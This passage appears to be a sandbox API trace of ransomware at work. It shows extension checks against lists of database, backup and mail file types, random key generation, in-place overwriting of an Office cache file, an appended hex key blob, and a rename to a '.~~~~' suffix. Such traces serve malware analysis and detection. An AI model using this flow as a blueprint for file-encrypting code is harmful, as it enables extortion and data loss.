	[0076.910] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".DBT") returned 0x0
	[0076.910] lstrlenW (lpString=".ACCDB") returned 6
	[0076.910] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".ACCDB") returned 0x0
	[0076.910] lstrlenW (lpString=".fdb") returned 4
	[0076.910] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".fdb") returned 0x0
	[0076.910] lstrlenW (lpString=".bak") returned 4
	[0076.910] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".bak") returned 0x0
	[0076.911] lstrlenW (lpString=".myd") returned 4
	[0076.911] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".myd") returned 0x0
	[0076.911] lstrlenW (lpString=".DTXS") returned 5
	[0076.911] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".DTXS") returned 0x0
	[0076.911] lstrlenW (lpString=".ckp") returned 4
	[0076.911] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".ckp") returned 0x0
	[0076.911] lstrlenW (lpString=".dbt") returned 4
	[0076.911] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".dbt") returned 0x0
	[0076.911] lstrlenW (lpString=".db") returned 3
	[0076.911] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".db") returned 0x0
	[0076.911] lstrlenW (lpString=".TXT") returned 4
	[0076.911] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".TXT") returned 0x0
	[0076.911] lstrlenW (lpString=".MDF") returned 4
	[0076.911] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".MDF") returned 0x0
	[0076.911] lstrlenW (lpString=".bdb") returned 4
	[0076.911] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".bdb") returned 0x0
	[0076.911] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0076.911] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0076.911] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x3a3178
	[0076.911] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0076.911] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0076.912] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0076.912] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0076.912] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0076.912] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0076.912] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x27f2050
	[0076.912] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=19690227738) returned 1
	[0076.912] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x97bd3e90, dwHighDateTime=0x1d60e1e)) 
	[0076.912] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0076.912] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0076.912] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0076.912] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac430
	[0076.912] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0076.912] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac430 | out: hHeap=0x300000) returned 1
	[0076.912] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0076.913] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0076.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7cd8
	[0076.913] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0076.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.913] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7cd8 | out: hHeap=0x300000) returned 1
	[0076.913] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0076.913] GetLastError () returned 0x0
	[0076.913] GetLastError () returned 0x0
	[0076.913] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0076.913] GetLastError () returned 0x0
	[0076.913] GetLastError () returned 0x0
	[0076.914] ReadFile (in: hFile=0x130, lpBuffer=0x3b76e0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0076.918] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0076.918] WriteFile (in: hFile=0x130, lpBuffer=0x3b76e0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0076.920] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b76e0 | out: hHeap=0x300000) returned 1
	[0076.920] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.920] WriteFile (in: hFile=0x130, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0076.922] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0076.922] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0076.922] CloseHandle (hObject=0x130) returned 1
	[0076.922] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a55d8
	[0076.922] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.~~~~" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.~~~~")) returned 1
	[0076.923] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a55d8 | out: hHeap=0x300000) returned 1
	[0076.923] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0076.923] GetLastError () returned 0x0
	[0076.923] RtlWakeConditionVariable () returned 0x365f70
	[0076.923] GetCurrentThreadId () returned 0x9cc
	[0076.923] GetCurrentThreadId () returned 0x9cc
	[0076.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4b10
	[0076.923] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5018 | out: hHeap=0x300000) returned 1
	[0076.923] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac468 | out: hHeap=0x300000) returned 1
	[0076.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0076.923] lstrlenW (lpString=".scr") returned 4
	[0076.923] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".scr") returned 0x0
	[0076.923] lstrlenW (lpString=".cmd") returned 4
	[0076.923] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".cmd") returned 0x0
	[0076.923] lstrlenW (lpString=".dll") returned 4
	[0076.923] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".dll") returned 0x0
	[0076.923] lstrlenW (lpString=".bat") returned 4
	[0076.923] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".bat") returned 0x0
	[0076.923] lstrlenW (lpString=".cpl") returned 4
	[0076.923] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".cpl") returned 0x0
	[0076.923] lstrlenW (lpString=".sys") returned 4
	[0076.924] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".sys") returned 0x0
	[0076.924] lstrlenW (lpString=".msc") returned 4
	[0076.924] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".msc") returned 0x0
	[0076.924] lstrlenW (lpString=".com") returned 4
	[0076.924] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".com") returned 0x0
	[0076.924] lstrlenW (lpString=".lnk") returned 4
	[0076.924] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".lnk") returned 0x0
	[0076.924] lstrlenW (lpString=".msp") returned 4
	[0076.924] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".msp") returned 0x0
	[0076.924] lstrlenW (lpString=".pif") returned 4
	[0076.924] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".pif") returned 0x0
	[0076.924] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0076.924] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0076.924] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
	[0076.924] lstrlenW (lpString=".sqb") returned 4
	[0076.924] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".sqb") returned 0x0
	[0076.924] lstrlenW (lpString=".ost") returned 4
	[0076.924] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".ost") returned 0x0
	[0076.924] lstrlenW (lpString=".txt") returned 4
	[0076.924] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".txt") returned 0x0
	[0076.924] lstrlenW (lpString=".mdt") returned 4
	[0076.924] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".mdt") returned 0x0
	[0076.925] lstrlenW (lpString=".BDB") returned 4
	[0076.925] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".BDB") returned 0x0
	[0076.925] lstrlenW (lpString=".eql") returned 4
	[0076.925] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".eql") returned 0x0
	[0076.925] lstrlenW (lpString=".DBF") returned 4
	[0076.925] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".DBF") returned 0x0
	[0076.925] lstrlenW (lpString=".EQL") returned 4
	[0076.925] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".EQL") returned 0x0
	[0076.925] lstrlenW (lpString=".FDB") returned 4
	[0076.925] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".FDB") returned 0x0
	[0076.925] lstrlenW (lpString=".EDB") returned 4
	[0076.925] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".EDB") returned 0x0
	[0076.925] lstrlenW (lpString=".DACPAC") returned 7
	[0076.925] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".DACPAC") returned 0x0
	[0076.925] lstrlenW (lpString=".VHD") returned 4
	[0076.925] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".VHD") returned 0x0
	[0076.925] lstrlenW (lpString=".DBV") returned 4
	[0076.925] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".DBV") returned 0x0
	[0076.925] lstrlenW (lpString=".dacpac") returned 7
	[0076.925] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".dacpac") returned 0x0
	[0076.925] lstrlenW (lpString=".sdf") returned 4
	[0076.925] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".sdf") returned 0x0
	[0076.925] lstrlenW (lpString=".accdb") returned 6
	[0076.925] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".accdb") returned 0x0
	[0076.925] lstrlenW (lpString=".DBX") returned 4
	[0076.925] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".DBX") returned 0x0
	[0076.925] lstrlenW (lpString=".MDT") returned 4
	[0076.925] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".MDT") returned 0x0
	[0076.925] lstrlenW (lpString=".SQB") returned 4
	[0076.925] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".SQB") returned 0x0
	[0076.926] lstrlenW (lpString=".vhd") returned 4
	[0076.926] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".vhd") returned 0x0
	[0076.926] lstrlenW (lpString=".bac") returned 4
	[0076.926] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".bac") returned 0x0
	[0076.926] lstrlenW (lpString=".mdf") returned 4
	[0076.926] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".mdf") returned 0x0
	[0076.926] lstrlenW (lpString=".BAK") returned 4
	[0076.926] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".BAK") returned 0x0
	[0076.926] lstrlenW (lpString=".BAC") returned 4
	[0076.926] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".BAC") returned 0x0
	[0076.926] lstrlenW (lpString=".dbs") returned 4
	[0076.926] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".dbs") returned 0x0
	[0076.926] lstrlenW (lpString=".vhdx") returned 5
	[0076.926] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".vhdx") returned 0x0
	[0076.926] lstrlenW (lpString=".NDF") returned 4
	[0076.926] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".NDF") returned 0x0
	[0076.926] lstrlenW (lpString=".dat") returned 4
	[0076.926] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".dat") returned 0x0
	[0076.926] lstrlenW (lpString=".DBS") returned 4
	[0076.926] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".DBS") returned 0x0
	[0076.926] lstrlenW (lpString=".CKP") returned 4
	[0076.926] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".CKP") returned 0x0
	[0076.926] lstrlenW (lpString=".edb") returned 4
	[0076.926] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".edb") returned 0x0
	[0076.926] lstrlenW (lpString=".PST") returned 4
	[0076.926] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".PST") returned 0x0
	[0076.926] lstrlenW (lpString=".dbf") returned 4
	[0076.926] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".dbf") returned 0x0
	[0076.926] lstrlenW (lpString=".SQL") returned 4
	[0076.926] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".SQL") returned 0x0
	[0076.926] lstrlenW (lpString=".pst") returned 4
	[0076.927] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".pst") returned 0x0
	[0076.927] lstrlenW (lpString=".dbv") returned 4
	[0076.927] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".dbv") returned 0x0
	[0076.927] lstrlenW (lpString=".SDF") returned 4
	[0076.927] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".SDF") returned 0x0
	[0076.927] lstrlenW (lpString=".dtxs") returned 5
	[0076.927] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".dtxs") returned 0x0
	[0076.927] lstrlenW (lpString=".db3") returned 4
	[0076.927] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".db3") returned 0x0
	[0076.927] lstrlenW (lpString=".OST") returned 4
	[0076.927] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".OST") returned 0x0
	[0076.927] lstrlenW (lpString=".dbx") returned 4
	[0076.927] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".dbx") returned 0x0
	[0076.927] lstrlenW (lpString=".DB3") returned 4
	[0076.927] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".DB3") returned 0x0
	[0076.927] lstrlenW (lpString=".DAT") returned 4
	[0076.927] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".DAT") returned 0x0
	[0076.927] lstrlenW (lpString=".VHDX") returned 5
	[0076.927] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".VHDX") returned 0x0
	[0076.927] lstrlenW (lpString=".ndf") returned 4
	[0076.927] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".ndf") returned 0x0
	[0076.927] lstrlenW (lpString=".DB") returned 3
	[0076.927] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".DB") returned 0x0
	[0076.927] lstrlenW (lpString=".sql") returned 4
	[0076.927] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".sql") returned 0x0
	[0076.927] lstrlenW (lpString=".MYD") returned 4
	[0076.927] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".MYD") returned 0x0
	[0076.927] lstrlenW (lpString=".DBT") returned 4
	[0076.927] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".DBT") returned 0x0
	[0076.928] lstrlenW (lpString=".ACCDB") returned 6
	[0076.928] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".ACCDB") returned 0x0
	[0076.928] lstrlenW (lpString=".fdb") returned 4
	[0076.928] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".fdb") returned 0x0
	[0076.928] lstrlenW (lpString=".bak") returned 4
	[0076.928] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".bak") returned 0x0
	[0076.928] lstrlenW (lpString=".myd") returned 4
	[0076.928] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".myd") returned 0x0
	[0076.928] lstrlenW (lpString=".DTXS") returned 5
	[0076.928] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".DTXS") returned 0x0
	[0076.928] lstrlenW (lpString=".ckp") returned 4
	[0076.928] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".ckp") returned 0x0
	[0076.928] lstrlenW (lpString=".dbt") returned 4
	[0076.928] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".dbt") returned 0x0
	[0076.928] lstrlenW (lpString=".db") returned 3
	[0076.928] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".db") returned 0x0
	[0076.928] lstrlenW (lpString=".TXT") returned 4
	[0076.928] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".TXT") returned 0x0
	[0076.928] lstrlenW (lpString=".MDF") returned 4
	[0076.928] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".MDF") returned 0x0
	[0076.928] lstrlenW (lpString=".bdb") returned 4
	[0076.928] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".bdb") returned 0x0
	[0076.929] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0076.929] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0076.929] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x3a3178
	[0076.929] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0076.929] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
